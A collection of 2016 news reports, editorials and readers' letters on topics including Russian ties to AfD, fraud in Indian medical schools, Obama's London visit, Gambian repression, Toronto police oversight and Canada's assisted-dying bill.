Europe is making a rightward turn, said Dmitry Abzalov, who runs a consultancy in Moscow that advises the Kremlin on opposition groups in Europe. And Merkel has shown herself to be weak on the migration issue.

An official in Merkels Christian Democratic Union said almost all of the ruling coalitions Russian-German voters have defected to AfD, which also appears to be getting funds from Russia, according to Alina Polyakova at the Dinu Patriciu Eurasia Center at the Atlantic Council in Washington. AfD, while still relatively small, posted its best showing yet in three state elections last month.

AfD spokesman Christian Lueth said by email that his party adheres strictly to Germanys political-financing law and takes no money from abroad.

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India is world-famous for its doctors, producing some of the worlds best from reputable institutions in and out of the country. There are more medical colleges and teaching hospitals in India than anywhere else  579 to be exact.

But a couple of recent studies and reports have cast serious doubts on the quality and ethics of the countrys vast medical schooling system. The most recent revealed that more than half of those 579 didnt produce a single peer-reviewed research paper in over a decade (2005-2014) and that almost half of all papers were attributed to just 25 of those institutions.

Producing research papers isnt a direct indicator of the quality of education at a given institution, or of the health care that might be provided there. But as Samiran Nundy, a Delhi-based senior gastrointestinal surgeon who authored one of the studies, told the Telegraph newspaper, These findings support long-standing suspicions that for many private colleges in the country, medical education is just a business.

That is a suspicion that underlies other investigations, too. A four-month probe by Reuters found that since 2010, at least 69 Indian medical colleges and teaching hospitals have been accused of such transgressions or other significant failings including rigging entrance exams or accepting bribes to admit students, and that one out of every six of the countrys 398 medical schools has been accused of cheating, according to Indian government records and court filings.

In a country with the worlds heaviest health burden  and highest rates of death from treatable diseases such as diarrhea, tuberculosis and pneumonia  corruption at medical schools is an extremely pressing issue. The Indian Medical Association estimates that nearly half of those practising medicine in the country do not have any formal training and that many of those who claim to be qualified may actually not be.

The 2011 court case against a man, Balwant Arora, was one of the earlier indications of the massive levels of fraud.

Arora brazenly admitted to issuing more than 50,000 fake medical degrees at around $100 apiece from his home, saying that each of the recipients had some medical experience and that he was doing it in service to a country that desperately needs more doctors. He had served four months in jail in 2000 for similar offences.

Private medical colleges have proliferated rapidly in India. When in 1980 there were around 100 public colleges and 11 private, the latter now outnumber the former by 215 to 183. Most are run by businessmen with no medical experience.

Last January, the British Medical Journal found that many private medical colleges charged capitation fees, which are essentially compulsory donations required for admission. Jeetha DSilva, who authored that report, wrote, Except for a few who get into premier institutions of their choice purely on merit, many students face Hobsons choice  either pay capitation to secure admission at a college or give up on the dream of a medical degree.

The best public medical colleges have acceptance rates that are minuscule, even compared to Ivy League universities in the U.S. Those colleges also tend to be the ones that produce the most research papers, as well as handle the most patients, which would seem to eliminate the possible excuse that overwhelming patient burdens prevent private colleges from producing valuable research.

The most productive medical college in India is also its largest public health institution, the All India Institute of Medical Sciences, or AIIMS. In the 10-year period that Nundy and his colleagues examined, AIIMS published 11,300 research papers. For context, that is about a quarter of what Massachusetts General Hospital produced in the same time frame.

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WASHINGTONA Florida man who landed a one-person gyrocopter on the lawn of the U.S. Capitol in Washington in 2015 as a stunt to protest the influence of money in politics was sentenced Thursday to spend four months in jail.

In sentencing 62-year-old Douglas Hughes, Judge Colleen Kollar-Kotelly said he displayed a total lack of concern for his safety or that of others. She said he knowingly violated airspace restrictions around the nations capital, some of the most restricted U.S. airspace, and didnt seem to appreciate how dangerous his actions were. It was only by chance that no one was harmed, she said at a hearing, which lasted hours.

Hughes has said his April 15, 2015, flight in the bare-bones aircraft was a way to call attention to the influence of big money in politics and protest government corruption. The former mail carrier from Ruskin, Florida, was carrying letters for each member of Congress on the topic of campaign finance and the tail of his aircraft displayed a postal service logo.

Hughes pleaded guilty in November to a felony of operating a gyrocopter without a license.

Prosecutors had asked the judge Thursday to sentence Hughes to 10 months in prison, arguing that his flight from Gettysburg, Penn., to the nations capital put countless lives at risk. Hughes craved attention and violated important public safety laws because he wanted people to pay attention to his political views, prosecutors wrote in a document filed with the court ahead of sentencing.

Hughes attorneys, meanwhile, had argued in their own memo that he should be allowed to remain out of jail and said his actions were in the nations proud tradition of nonviolent civil disobedience.

The attention his flight gained, Mr. Hughes hopes, will force the nation to finally confront the issue of campaign finance rather than continue to ignore the problem. For this reason, Mr. Hughes should be considered a hero for his conduct, his attorneys Mark Goldstone and Tony Miles wrote.

In writing and in court they compared Hughes flight to the acts of civil disobedience undertaken by Martin Luther King Jr., Rosa Parks, Harriet Tubman, Henry David Thoreau and the freedom riders.

But Judge Kollar-Kotelly disagreed, saying the actions of those historic figures were directly related to breaking laws they found unjust.

Hes not in that league, she said, calling his actions a stunt, a word Hughes also has used.

Hughes said outside of court that there werent any laws related to campaign finance that he could break. He said he was not totally pleased nor terribly displeased with the sentence.

Yes, it was worth it, he said.

He said it is not his intention to break any laws in the future but that he would consider taking an action that would result in another jail sentence if it would advance his cause.

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Chiles foreign minister, Heraldo Munoz, was in Canada this week to mark the 75th anniversary of diplomatic relations between the two countries. Munoz, who began his political life as a dissident working to oust Gen. Augusto Pinochet, has had a varied career since then, chairing the investigation into the murder of former Pakistani prime minister Benazir Bhutto and writing several books.

This interview has been edited for length and clarity.

What did you learn as a dissident challenging Pinochet, who ruled as dictator from 1973-1990 after overthrowing the democratically elected government of President Allende?

We needed for all sectors to be committed to democracy, irrespective of our ideologies, to join efforts to defeat the dictatorship peacefully. Christian Democrats and Socialists had been on opposite sides during the Allende government, but under Pinochet we dissidents decided to ally to recuperate democracy and, later, to form a coalition along with other democrats to bring stability, rule of law and prosperity to Chile.

What is the biggest challenge facing Chile today?

We have to address inequalities while stimulating renewed economic growth. This is not easy during the present global economic downturn. President (Michelle) Bachelet has led changes from tax reform to ongoing educational reforms to improve quality and access for all. At the same time, we are working to increase productivity and innovation so that we avoid being a country dependent on the export of commodities.

There have been corruption scandals relating to the misuse of public funds by the military. How can the government rebuild the publics trust?

Chile continues to be a transparent and relatively uncorrupt country. But cases of corruption are being dealt with through the judicial system. Moreover, President Bachelet presented to Congress various bills to improve the public financing of elections and some of those bills have already been passed, which will reduce the power of money in politics.

When you look around the region, from the corruption problems in Brazil to the near bankruptcy of Venezuela, what do you think are the root causes of these crises?

Behind the crises in Latin America are fragile institutions and a lack of accountability. Things have changed now, in this digital era when people have smart phones. Social networks give a stronger voice to citizens. The middle classes demand more from their governments and public services.

President Bachelets government has undertaken key reforms -- educational reform, civil unions for same-sex couples, tax reform. Why are they important?

Chile has grown and prospered in recent years and weve been able to reduce poverty. But, inequality is still unacceptably high, not only in income but in gender, ethnic, sexual and territorial terms. So we are paying a debt by undertaking these changes.

President Bachelet is less popular now than she was during her first term. Do the lower poll numbers relate to general distrust of politicians as a result of scandals?

There is a general distrust of politicians everywhere, even more nowadays when the aspirations of citizens, when not met, turn into frustration and outrage in social media against authority. Our societies are moving toward new standards of transparency, accountability and public faith, and this is a process that will continue for some years. The poll numbers reflect a moment of this transition. Add to this the slowing global economy, and President Bachelet meeting her campaign promises by introducing reforms, and it is not surprising that her poll numbers decline. When the results of the reform process become evident, those numbers may improve.

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Since taking power in a bloodless coup in 1994, Yahya Jammeh has presided over the worst dictatorship youve never heard of. The eccentric Gambian president, who performs ritual exorcisms and claims to heal everything from AIDS to infertility with herbal remedies, rules his tiny West African nation through a mix of superstition and fear. State-sanctioned torture, enforced disappearances and arbitrary executions  these are just a few of the favoured tactics employed by his notorious security and intelligence services.

Elsewhere in Africa, rights advocates have increasingly lamented a plague of third-termism as more and more leaders move to scrap constitutional limits in order to remain in power. But in Gambia, Jammeh will probably cruise to a fifth five-year term in elections scheduled for December. That is, of course, unless the unprecedented wave of protests that began last week boil over into a full-fledged popular revolt.

Tensions have been slowly building in Gambia for years, not least because of the repressive security environment, widespread corruption, chronic food shortages and terribly mismanaged economy. (Gambia ranks dead last in West Africa in terms of GDP per capita, the only country to experience a decline since 1994.) But Jammeh has mostly succeeded in keeping discontent in check, in part because of Gambias Indemnity Law  signed by the president in 2001  occasioned by an incident the previous year in which security forces opened fire on a group of student protesters. In total, 14 people were murdered in broad daylight. The new law gave the president sweeping powers to prevent security forces from being prosecuted for quelling unlawful assembly.

On April 14, however, scores of Gambians bravely took to the streets to demand electoral reforms. Unsurprisingly, Jammehs riot police cut the demonstration short, roughing up protesters and firing tear gas to disperse the crowds that had gathered in a seaside suburb of the capital, Banjul.

Citizens mobilized again on April 16, staging the largest and most sustained act of public defiance against Jammeh since he seized power more than two decades ago. This time, the agitated police responded more forcefully, spraying demonstrators with live ammunition and assaulting people in the streets. In total, 55 people were reportedly arrested; many of them were brutalized in detention.

Most shockingly, Solo Sandeng, the leader of the youth wing of Gambias main opposition movement, the United Democratic Party (UDP), was allegedly tortured to death while in state custody. After news of Sandengs death broke, the UDP once again rallied, marching peacefully through the capital to demand answers. And once again, riot police rushed to the scene, arresting Ousainou Darboe, secretary-general of the UDP, and other senior members of the party. According to a UDP news release issued on the evening of April 16, more than two dozen party members were reportedly detained and three people were killed, including Sandeng. Many of them have been charged with unlawful assembly, among other crimes, but the party has said it will organize more demonstrations in the coming days.

U.N. Secretary-General Ban Ki-moon, the African Union, and the U.S. State Department all condemned the Gambian governments severe response to the peaceful protests, the latter urging the government to exercise restraint and calm. But if the UDP goes ahead with its plan for more protests, there is a risk that Jammehs paranoid government will respond with additional deadly force. In fact, the president has already threatened that protesters will not be spared and blamed Western countries for instigating the unrest.

The United States could sanction Jammehs regime by imposing travel restrictions on individuals implicated in grave human rights abuses and freeze the U.S. assets of Jammeh, his immediate family, and members of his inner circle. Jammehs lavish $3.5-million mansion in Potomac, Md., would certainly be a good place to start.

Jammehs government weathered a coup attempt less than two years ago. In December 2014, an unlikely band of diaspora members  including two U.S. army veterans and a Minnesota businessman  staged an assault on the presidential palace while Jammeh was outside the country. The putsch failed and the regime responded with fury, sentencing eight alleged coup plotters to death and indiscriminately jailing scores of Gambians suspected of being associated with them, some as old as 84 and as young as 14.

According to The Washington Post, the FBI had been monitoring some of the plotters communications, and the State Department later informed another West African nation that one of them had left the United States in the hopes it would intercept him. Despite Jammehs egregious rights record, the U.S. government has largely refrained from speaking out against him over the years. (The Gambian leader was welcomed to the White House as recently as August 2014, when he attended the first U.S.-Africa Leaders Summit.)

But in truth, the tide had begun to turn against Jammeh months before the attempted coup, when he signed a harsh anti-gay law as part of an overhaul of the countrys penal code. The European Union responded by suspending $186 million in aid while the United States made Gambia ineligible for the African Growth and Opportunity Act, a trade preference program that provides duty-free treatment to U.S. imports from sub-Saharan Africa, making it the only nation besides Swaziland and South Sudan to lose eligibility because of its dismal human rights record.

International isolation has made Jammeh only more vulnerable at home. Before last weeks protests, Gambias notoriously fractious political opposition had begun to piece together a unified front, with top decision makers from different political parties putting forward a common agenda: namely, unseating Jammeh at the polls in December.

But even if the opposition works together, it will be fighting an uphill battle against Jammehs ruthless political machine. So blatant was the governments intimidation of the opposition during the last election in 2011 that the Economic Community of West African States refused to send observers  an unprecedented move for the regional bloc. That is why its crucial that international donors, namely the United States, both invest in Gambias newly unified pro-democracy movement and signal to Jammeh that his governments brutal and ongoing crimes will no longer be tolerated.

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LONDONLending political backup to a struggling friend, President Barack Obama made a forceful plea Friday for Britons to heed Prime Minister David Cameron's call to stay in the European Union and dismissed critics who accused the U.S. president of meddling in British affairs.

Standing aside Cameron at a news conference at 10 Downing Street, Obama said Britain's power is amplified by its membership in the 28-nation union, not diminished. He delivered an almost sentimental appeal to the "special relationship" between the two countries and cast a grim picture of the economic stakes saying flatly the U.S. would not rush to write a free trade deal with Great Britain if it voted to exit.

"Let me be clear, ultimately, this is something the British voters have to decide for themselves. But as part of our special relationship, part of being friends, is to be honest and to let you know what I think," Obama said. "And speaking honestly, the outcome of that decision is a matter of deep interest to the United States, because it affects our prospects as well. The United States wants a strong United Kingdom as a partner, and the United Kingdom is at its best when it's helping to lead a strong Europe."

Obama spoke on the first day of a three-day visit to London, likely the last of this presidency. Coming two months before a June referendum on leaving the union, Obama plunged himself into heated debate about Britain's national identity, immigration policy, economic fairness and the trust in institutions.

Polls suggest it will be a close vote, with most phone polls indicating a lead to remain in the union while some online polls put the other side ahead.

Justice Minister Dominic Raab, a leader of the Leave campaign, said Britons shouldn't put stock in Obama's view.

"He argued that he thinks it is in America's interests for the U.K. to stay in the E.U. but what is good for U.S. politicians is not necessarily good for the British people," Raab said in a statement.

Obama had been expected to tread carefully on the issue, mindful that intervention in a domestic matter could turn some voters off. But the president did not appear to be holding back. Although, he couched his views as "my opinion," he also accused his critics of being "afraid to hear an argument being made."

The president hasn't always had such an open view of allies dipping into each other's domestic debates. Last year, he criticized Prime Minister Benjamin Netanyahu for coming to the U.S. to deliver a speech urging Congress to reject Obama's nuclear deal with Iran. The president called the speech a "distraction" and said because it came close to an Israeli election "makes it look like we are taking sides."

In 2014, Obama was far more restrained during the U.K. referendum on Scottish independence. He delicately expressed his view in favour of unity months before the vote. And when the race tightened he weighed in from afar  with a tweet.

On Friday, Obama echoed several of the arguments Cameron and other Remain advocates have been making for weeks  with an added a punch only Obama could deliver. He noted some have suggested that if Britain exited the European Union, the U.S. and United Kingdom would quickly arrange a bilateral free trade deal to soften the blow to British businesses. Obama said the U.S. is focused on negotiating the Transatlantic Trade and Investment Partnership with the E.U.

A U.S.-U.K. trade deal might happen someday, but "it's not going to happen anytime soon," he said, adding the U.K. would have to get "in the back of the queue."

"Right now, I've got access to a massive market, where I sell 44 per cent of my exports," Obama said. "And now, I'm thinking about leaving the organization that gives me access to that market, and that is responsible for millions of jobs in my country and responsible for an enormous amount of commerce and upon which a lot of businesses depend, that is not something I would probably do."

Since Obama has just eight months left in office, the future of any of his trade deals is uncertain. Still, Obama's remark stood out as harsh in a news conference filled with discussion of the cozy partnerships and "special relationship" forged in the wartime bond of President Franklin Roosevelt and Prime Minister Winston Churchill. "I love Winston Churchill," Obama said. "I love the guy."

Obama's trip had a dual purpose. Along with backing up Cameron, Obama paid his respects  and one last social call as president  to Queen Elizabeth II on her 90th birthday. Still, his arrival was widely viewed as a political favour for an ally who could use the help.

Obama has remained a broadly popular figure in Britain, although reliable surveys are scarce. In June 2015, three-quarters of Britons told pollsters they had confidence in his judgment on world affairs, according to a Pew Research survey.

That goodwill hasn't kept Britons in breaking from the U.S. at key moments, most notably as Obama leaned on Cameron to join in threatened airstrikes in Syria. The House of Commons rejected the notion.

But both Cameron and Obama sought to dismiss any talk of division. Both spent time discussing their personal ties and friendship.

"I've always found Barack someone who gives sage advice," Cameron said.

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LONDONPresident Barack Obama plunged into a whirlwind of socializing Friday that began over a birthday lunch with Queen Elizabeth II and was ending at a dinner hosted by the trio of young royals who represent the future of the British monarchy.

Obama, accompanied by his wife, Michelle, arrived by helicopter on the verdant grounds of Windsor Castle, the sprawling, centuries-old royal residence and tourist lure located just west of London where the Queen celebrated her 90th birthday a day earlier.

Photos: Britain celebrates Queens 90th birthday

With a patterned scarf tied around her head in a light drizzle, the queen climbed from the dark blue Range Rover that her husband, Prince Philip, drove to the landing area, and Britains oldest and longest-serving monarch welcomed her third American president to the castle.

The couples exchanged handshakes before climbing into the vehicle  ladies in the back seat  for the short ride to the castle. Inside, the Queen led the group into a sitting room warmed by a fire and asked the president where he wanted to sit.

"The queen's been a source of inspiration for me," Obama said later at a news conference alongside British Prime Minister David Cameron. "She is truly one of my favourite people ... an astonishing person."

Obama capped the day with a trip to Kensington Palace, where he and the first lady were invited for dinner with Prince William, his wife, Kate, and his brother, Prince Harry. William is second in line to ascend to the throne after his father, Prince Charles.

Obama, wearing an open-collar shirt with his suit, held an umbrella for his wife, dressed in a camel-colored ensemble. They were greeted by William, Kate and Harry, and posed for photographs before stepping inside the royal residence. William and Kate's nearly 3-year-old son, George, was spotted just inside the door.

Earlier at the Windsor Castle luncheon, the queen donned a periwinkle blue dress while Mrs. Obama wore an Oscar de la Renta print dress topped with a dark purple Narciso Rodriguez coat. The Obamas brought as a gift a photo diary of the queen's many visits with U.S. presidents and first ladies.

The album opens with her 1951 visit when, as Princess Elizabeth, Duchess of Edinburgh, she toured George Washingtons estate at Mount Vernon in Virginia and met President Harry Truman at the White House.

Obama broke up the royal holiday by stopping at 10 Downing St. for private talks with Prime Minister David Cameron about Daesh, also known as ISIS and ISIL, Afghanistan, Syria, Libya, the global economy, Russias stance toward Ukraine, politics and other issues.

They also discussed Britain's possible exit from the European Union, or Brexit, which Obama publicly argued against.

Cameron is leading the campaign to keep Britain in the 28-nation EU. At the news conference, Obama said solving world challenges "requires collective action" as he argued for why Britons should vote to stay in the alliance. He said membership amplifies British influence around the world. In an opinion piece published online Thursday by the Daily Telegraph newspaper, Obama urges Britons to stay in the EU. He noted the decision will affect U.S. interests and said EU membership will magnify British influence inside and outside of Europe.

Cameron is facing opposition from within his Conservative government and widespread skepticism among voters about the benefit of EU membership. Backers of those who support Britain's exit have accused Obama of hypocrisy and meddling.

Obama said the eventual outcome a pending June 23 referendum would not change the "special relationship" that exists between the U.S. and the U.K. He cited the case of a top aide, deputy chief of staff Anita Decker Breckenridge, who has worked for him since before he was first elected.

Obama said his aide's one request was to accompany him to Windsor, if he ever went, on the slight chance that she could get to see the queen. Obama said the queen graciously included Breckenridge in the group of people she greeted as they emerged from lunch. And, he said that Breckenridge, "who is as tough as they come, almost fainted."

"That's the special relationship," he said. "We are so bound together that nothing's going to impact the emotional and cultural affinities between our two countries. So I don't come here in any way suggesting that that is impacted by a decision the people of the United Kingdom might make."

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HOLLYWOOD, FLA.His general election appeal in question, Donald Trumps senior team is promising anxious Republicans that voters will see a real different way soon after the GOP front-runner claims his party's presidential nomination.

When hes out on the stage, when hes talking about the kinds of things hes talking about on the stump, hes projecting an image thats for that purpose, Paul Manafort, who is leading Trumps primary election strategy, told Republican National Committee members in a private briefing late Thursday.

Youll start to see more depth of the person, the real person. Youll see a real different way, Manafort said.

He gets it, Manafort said of Trumps need to moderate his brash personality. The part that hes been playing is evolving into the part that now youve been expecting, but he wasnt ready for, because he had first to complete the first phase. The negatives will come down. The image is going to change.

The message is part of the campaigns intensifying effort to convince party leaders that Trump will help deliver big electoral gains this fall, despite his contentious ways. Yet it also opens him up to questions about his authenticity.

Republican rival Ted Cruz seized on the remarks in a radio interview late Thursday.

Im actually going to give Trump a little bit of credit here. Hes being candid. Hes telling us hes lying to us, Cruz told host Mark Levin. You look at what his campaign manager says, is that this is just an act. This is just a show.

The Texas senator continued: When Donald talks about building a wall, when Donald talks about enforcing immigration laws, when Donald talks about, I guess, anything, that its all an act, a show.

The Republican National Committee gathered at a seaside resort in South Florida for its annual spring meeting. While candidates in both parties targeted primary contests in the Northeast, Hollywoods Diplomat Resort & Spa turned into a palm-treed political battleground.

Senior advisers for Trump, Cruz and Ohio Gov. John Kasich courted RNC members in a series of private meetings on the resorts grounds, sometimes sitting at adjacent tables in the marble-floored lobby. Trumps tightening grasp of his partys presidential nomination dominated much of the hallway discussion.

Hes trying to moderate. Hes getting better, said Ben Carson, a Trump ally who was part of the GOPs front-runners RNC outreach team.

Despite his teams aggressive message, Trump was telling voters he wasnt quite ready to act presidential. I just dont know if I want to do it yet, he said during a raucous rally in Harrisburg, Pennsylvania, that was frequently interrupted by protesters.

At some point, Im going to be so presidential that you people will be so bored, he said, predicting that the size of his crowds would dwindle if he dialed back his rhetoric.

Trumps team also signalled to RNC members that he was willing to dip into his personal fortune to fund his presidential bid, in addition to helping the national committee raise money, a promise that came as Trump prepared to launch his first big television advertising campaign in a month.

His campaign reserved about $2 million (U.S.) worth of air time in soon-to-vote Pennsylvania and Indiana, advertising tracker Kantar Medias CMAG shows.

Hes willing to spend what is necessary to finish this out. Thats a big statement from him, Manafort said in the briefing.

Manafort also insisted that Trump is prepared to work closely with party leaders, despite the candidates near-daily public attacks on what he calls a rigged presidential nomination system.

Is Donald Trump running against the Republican National Committee? The answer is he is not, Manafort said.

Trump is increasingly optimistic about his chances in five states holding primary contests Tuesday: Rhode Island, Connecticut, Pennsylvania, Delaware and Maryland. He is now the only candidate who can possibly collect the 1,237-delegate majority needed to claim the GOP nomination before the partys July convention.

Cruz and Kasich hope Trump will fall short so that they can have a chance to turn enough delegates to win the nomination at the convention.

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Premier Kathleen Wynne has progressed from waffling about the release of a secret report into a deadly shooting by Toronto police to flat-out declaring that it will be made public. And good for her.

The question now is when will Ontarians see that report by the Special Investigations Unit into the killing of Andrew Loku? And how much of it will be censored?

What best serves the public interest is clear: The SIUs exoneration of police should be released immediately, especially given the unexplained circumstances still surrounding Lokus death and the governments inexcusable foot-dragging so far. And as little as possible should be redacted because of privacy concerns.

For example, its important to know the name of the officer who pulled the trigger, and his service record, especially since this will almost certainly come to light at some future date when an inquest is held into Lokus death.

Theres little to be gained by continuing to keep the public in the dark, and much to lose, including peoples trust in Ontarios oversight of police.

Confidence in the system was badly undermined when Attorney General Madeleine Meilleur admitted to the Star earlier his week that she hadnt read the SIU report on Lokus killing  a full month after the investigation was done. She is one of the few people in the province with clearance to examine the document.

By Tuesday, with critics accusing her of an abdication of duty, Meilleur said she had finally gotten around to reading the report. But she insisted she would not be making it public.

That would cause unnecessary confusion, she said, noting that the province is on the verge of launching public consultations on police oversight, including how information in SIU reports might be disclosed.

Wynne appeared to back this lamentable inertia before changing course and telling reporters on Thursday that the SIU report will definitely be released  its just a question of when.

Its not a matter of whether, its a matter of how we do that, Wynne said. I do make a commitment to work to find a way for the information thats in the SIU report to be made public.

It should not take long. As noted by the Stars Edward Keenan, provincial bureaucrats are pretty much in the business of releasing reports. Any confidential matter that neednt be revealed can simply be blacked out. There shouldnt be much to cut given that both the current and former Information and Privacy Commissioner of Ontario have backed release of this document.

Current commissioner Brian Beamish, and his predecessor Ann Cavoukian, told the Star that theres a significant public interest in reports to do with police conduct and such information should be made available to Ontarians.

Thats especially true in Lokus case. The 45-year-old father of five from South Sudan was killed when officers were called to a Toronto apartment building last July and found a man armed with a hammer. Officers said he ignored orders to drop the weapon and was advancing toward them with the hammer raised when two shots were fired into his chest.

The SIU concluded that the constable responsible for those shots believed he had no reasonable choice but to pull the trigger. But at least one eye-witness has come forward saying that Loku had not raised his hammer and wasnt posing a threat when he was killed.

There are also questions about the handling of a video that documented part of this incident but apparently malfunctioned and missed the moment when Loku was shot.

Its vital for the public to see how the SIU weighed this evidence and the reasoning behind its decision to exonerate police. Wynne finally seems to grasp the importance of such openness in maintaining public faith in provincial supervision of police.

That trust can be maintained only through maximum transparency, including a speedy end to the stonewalling. Meilleur dithered a full month before finally reading the SIU report; Wynne must not wait that long to release it.

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Bit by bit, the Harper governments punitive and discriminatory tough on crime agenda is being dismantled. And not a moment too soon.

The Supreme Court of Canada tore another brick out of the wall on Friday when it struck down two Harper-era laws. One was a mandatory minimum sentence of one year in prison for repeat drug offenders. The other prevented a person with a previous conviction from getting extra credit for time served in custody before trial.

Taken together, the laws tended to reduce the discretion available to judges to tailor sentences to the specific circumstances of a crime, and a criminal. They forced them to punish professional criminals and hapless addicts in the same way. They served the former governments political purposes, but did not serve either justice or public safety.

Chief Justice Beverley McLachlin, who wrote the mandatory-minimum decision on behalf of a 6-3 court majority, argued that the law covers a wide range of conduct  from a career drug dealer out to profit from moving large quantities of dope to an addict convicted of sharing a small amount with a friend.

As a result, she wrote, the law catches not only the serious drug trafficking that is its proper aim, but conduct that is much less blameworthy. If Parliament wants to maintain mandatory minimums to crack down on big dealers, it should consider narrowing their reach so that they only catch offenders that merit mandatory minimum sentences. Good advice.

In the second case, the court overturned a law that denied extra credit for time served before trial to a man who had been denied bail because of a previous conviction. Instead of getting 1.5 days credit for each day served (which is standard practice), he got only one days credit, effectively lengthening his sentence. The court ruled that is discriminatory.

The Supreme Court has been chipping away at the Conservative justice agenda for a long time. Last spring, before the government was defeated, it declared mandatory minimum sentences for gun crimes to be unconstitutional. Like the drug sentence, it found they can crush lesser offenders and serious ones alike. Just as important, they rob judges of the discretion they need to craft sentences for each individual case.

The Harper government persisted in pushing tough on crime even as actual crime plummeted to record low levels. The top court is sending a welcome message to both the public and the Liberal government that such an approach is both unjust and inefficient.

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When police officers are called on to testify in criminal cases, their credibility is paramount. With an accused persons freedom hanging in the balance, judges need to be confident that the officers havent been charged with misconduct or an offence that might have a bearing on the evidence they give.

Indeed the Supreme Court has ruled that when information about an officers disciplinary record is relevant to the case, it should be disclosed to the Crown and shared with the defence. Generally, it is. But there are exceptions.

Just last year Justice Jane Kelly of Ontarios Superior Court faulted a Toronto constable for failing to comply with his obligation to disclose the full details of his record, which included insubordination and discreditable conduct. Instead he submitted a materially misleading, watered-down document that had a negative impact on his credibility and the reliability of his evidence, Kelly found. The case involved gun, knife and marijuana charges.

That should have been a red flag to Chief Mark Saunders and the Toronto Police Service that the days of do-it-yourself misconduct reports, like those of the buggy whip, are numbered. The Ontario Provincial Police and forces in Peel, York, Halton and Durham all have moved with the times. Their professional standards units or specialized officers prepare and vet the reports, which are commonly kept in computerized databases.

But as the Stars Betsy Powell reports, Toronto is hanging back. The Police Services Board has just chosen to stick with the status quo, endorsing Saunders view that the system works, Crown attorneys havent raised concerns, and the police budget and staff are better used for other purposes. Mayor John Tory feels that pressure to reform the system looks like a solution in search of a problem. Really? At a time mistrust of the police is an issue, in the wake of the G20 mass arrests and recent shootings?

As the Star wrote when Justice Kelly criticized the Toronto officer, judges and defence attorneys should not have to wonder whether an officer has sanitized a checkered history or whether the Crown is sufficiently alert to potential problems.

The Toronto police should clean up their act and adopt the best practices that other forces have.

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Re Karla Homolka deserves a chance, advocates say, April 21, 2016

I found this article so enormously offensive that I decided to send you an email.

The very first words, Convicted killer Karla Homolka did her time and deserves a chance to start over, is a harsh slap in the face to the families of Kristen French and Leslie Mahaffy, as well as to the rest of us who try to live decent and productive lives.

Homolka may have served out her sentence but she did not do her deserved time. She should still be in jail and should have been declared a dangerous offender like Bernardo.

Kristen French, Leslie Mahaffy and Tammy Homolka never had the opportunity to grow up and learn and have careers or a family solely because of Homolka and Bernardo.

And yet Catherine Latimer, executive director of the John Howard Society, doesnt think parents and neighbours should judge Homolka too harshly?

She murdered her own sister. She helped to abduct, rape and kill two young schoolgirls. She lied and manipulated her way into a reduced sentence so that the entire blame would be put on her psychopath husband and who knows what else.

She played the victim and got away with it. She has never to my knowledge accepted responsibility for her own actions.

And what does Latimer think we should do, give her milk and cookies and tell her that everything is going to be all right? I dont think so.

Apparently, Latimer also thinks that because Homolka did her time, theres no reason to believe that she has not been rehabilitated. No reason to believe? Thats not very reassuring and would not be at all comforting to any of the families that Homolka destroyed or could possibly destroy in the future.

Homolkas actions and apparent lack of any empathy or remorse for those actions suggest she is a psychopath and that, as far as Im concerned, makes her dangerous. If she lived in my neighbourhood I would be as concerned as her neighbours in Chateauguay.

Its all fine and well for people like Latimer to urge compassion for ex-cons trying to integrate themselves back into society, but perhaps she should save her compassion for men and women who honestly want to rehabilitate themselves, for those who want to become positive contributing members of society.

And, like Joe Wamback (founder of the Toronto-based Canadian Crime Victim Foundation) in your article, I agree that a normal person does not do this kind of thing, does not commit this type of crime.

As far as Im concerned, a normal person would not be able to live with themselves if they did this type of crime. How could they?

I dont believe that Homolka is capable of being rehabilitated at all and she certainly doesnt deserve a fresh start. What fresh start did her victims ever receive? The only thing Homolka deserves is to be back in jail for the rest of her life. Period.

Charlene Groh, Toronto

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Canada, assisted-dying bill, Bill C-14, assisted-suicide bill, right-to-die bill, Supreme Court of Canada

The faith profession of the United Church of Canada seems at odds with Gods fifth commandment: Thou shalt not kill.

In his book The Great Divorce, C.S. Lewis wrote: There are two kinds of people: those who say to God, Thy will be done and those to whom God says, All right then, have it your way. 

Being lulled into a sense of false comfort by shaving away the sharp edges and blunting the harsh reality of assisted dying is just another attempt to make lies sound truthful and murder respectable.

Ricardo Di Ceccad, Burlington

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Canada, assisted-dying bill, Bill C-14, assisted-suicide bill, right-to-die bill, Supreme Court of Canada, palliative care

Systems of palliative care need to be put in place for everyone. As of now, for 70 to 80 per cent of Canadians, palliative care is not available, and that is unconscionable.

This puts people at great risk of taking their own lives, or seeking out other places where they can get this service. Once all aspects of palliative care have been tried, only then should the person have the right to ask for assisted dying.

I also feel strongly that the physician who gives approval for assistance to die should not be the doctor who is carrying it out. Once the person is dead, they cannot tell us whether they chose this route or not, so having an uninvolved physician carry out the act is another way of protecting the patient from abuse.

In terms of organ donations, the person should have filled out and signed  or have signed for them by an uninvolved witness if they are unable to sign  to ensure that their organs will not been taken without their authority, or that they are killed for their organs. Sadly, there is always a risk of a person of means bribing a doctor for organs; doctors are human too.

The issue of doctors having to carry out assisted death is another concern. If a doctor says it is against their conscience, morals, religion or whatever their reason is, he or she should not be forced to, nor should he or she have to refer the patient to someone who will, as that is like assisting the person to end their life, anyway.

In terms of competence, I feel that if the person approaches a physician who does not know them well, more time should be taken to ensure that the person has no other options, has tried palliative care, and is certain that they want to go this route. Doctors dont always know their patients beyond their presenting problem(s). The day that patient goes to see a doctor, they may be very depressed, stressed, etc., and perhaps may need counselling to ensure they are making a rational choice and given time to consider all options.

All provinces should have equal systems of health care; a person should not have to go shopping around. Access to palliative care is fractured, and we need fuller, freer access for all people. We need to legislate the right to palliative care for every Canadian. Ending a life should not be the focus of quality of life. That is an oxymoron.

Beatrice Cleary, Toronto

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Re Theres virtue in caution, April 21

I first became interested in medically assisted dying in the late nineties, when my husband was suffering and dying of lung cancer.

At the time, the Star, Macleans and right-wing publications, and my federal and provincial governments, were all opposed to providing aid in dying. Although the public at large in Canada was beginning to warm to this idea, the pundits and governments held the elitist attitude that elected officials knew what was best.

Here we are 15 years later, and attitudes have greatly changed. The Supreme Court of Canada led the way. The public at large supports what their mandate set out. Yet the Star and the new Liberal government (who knew?) are offering the same elitist, behind the curve, options.

The Supreme Court set out a plan for medically assisted dying for adults with grievous and irremediable conditions who face physical or mental suffering that they find intolerable.

I was so proud of my court for this plan. It is a progressive plan that respects my rights as a citizen and a human being. The wishy-washy Liberal plan that restricts aid to adults who are in an advanced state of irreversible decline and facing foreseeable death basically thumbs a nose at our Supreme Court.

